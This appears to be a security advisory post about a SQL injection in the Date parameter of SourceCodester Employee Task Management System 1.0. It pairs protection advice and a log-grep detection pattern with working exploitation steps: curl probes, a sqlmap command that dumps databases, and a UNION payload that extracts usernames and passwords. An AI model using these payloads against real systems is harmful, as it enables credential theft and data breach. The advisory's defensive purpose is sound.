Listen to this Post
A vulnerability classified as medium severity exists in SourceCodester Employee Task Management System version 1.0. The issue resides in the `/daily-attendance-report.php` file within the GET Parameter Handler component. By manipulating the `Date` argument, an attacker can inject malicious SQL code into the backend database query. This is a classic SQL injection vulnerability (CWE-89). Since the application fails to properly sanitize the user-supplied input before using it in a SQL statement, an attacker can send a specially crafted HTTP GET request to the vulnerable endpoint. The attack can be performed remotely without any authentication, as per the CVSS vector. The exploit code has been made public, increasing the risk of widespread use. Successful exploitation could allow an attacker to view, modify, or delete sensitive data from the database, such as employee attendance records, login credentials, or other personal information. The technical details of the vulnerability were published by VulDB on March 8, 2026 .
Platform: SourceCodester
Version: 1.0
Vulnerability: SQL Injection
Severity: Medium
date: March 8 2026
Prediction: Next Month
What Undercode Say:
Analytics
The vulnerability is located in the file `daily-attendance-report.php` and is triggered via the `Date` GET parameter. The following commands and concepts are relevant for analysis, exploitation, and protection.
1. Reconnaissance: Identify vulnerable parameters using curl An attacker would test the 'Date' parameter for SQLi by injecting a single quote. curl -v "http://target-ip/etms/daily-attendance-report.php?Date=2026-03-09'" 2. Manual Exploitation Payload (Boolean/Union Based) Example payload to test for error-based SQL injection. Attacker might try: ' OR '1'='1 curl -v "http://target-ip/etms/daily-attendance-report.php?Date=2026-03-09' OR '1'='1" 3. Automated Exploitation with SQLMap sqlmap can be used to automate the discovery and exploitation. sqlmap -u "http://target-ip/etms/daily-attendance-report.php?Date=2026-03-09" --batch --dbs 4. Log Analysis (Detection) Check Apache/Nginx access logs for suspicious patterns in the Date parameter. grep "daily-attendance-report.php" /var/log/apache2/access.log | grep -E "Date=.'"
How Exploit:
The exploit is straightforward due to the lack of input sanitization. An attacker injects SQL syntax through the `Date` parameter. A simple example would be to use a `UNION` query to extract data from other tables. Since the attacker has the source code (public application), they can craft specific payloads.
Example URL: `http://target-ip/etms/daily-attendance-report.php?Date=2026-03-09′ UNION SELECT username,password FROM users– -`
Protection from this CVE:
- Input Validation: Strictly validate the `Date` parameter. Ensure it matches a specific date format (e.g., YYYY-MM-DD) and reject any other input.
- Parameterized Queries: Use prepared statements with parameterized queries in the PHP code (e.g., using PDO or MySQLi) to ensure user input is treated as data, not executable code.
- Web Application Firewall (WAF): Deploy a WAF rule to block requests containing SQL keywords (SELECT, UNION, ‘ –) in the `Date` parameter.
Impact:
Successful exploitation could lead to a complete data breach of the Employee Task Management System. This includes theft of employee personal identifiable information (PII), attendance records, and administrative credentials. An attacker could bypass authentication, modify database content (like task assignments), or in some server configurations, potentially gain further access to the underlying operating system.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
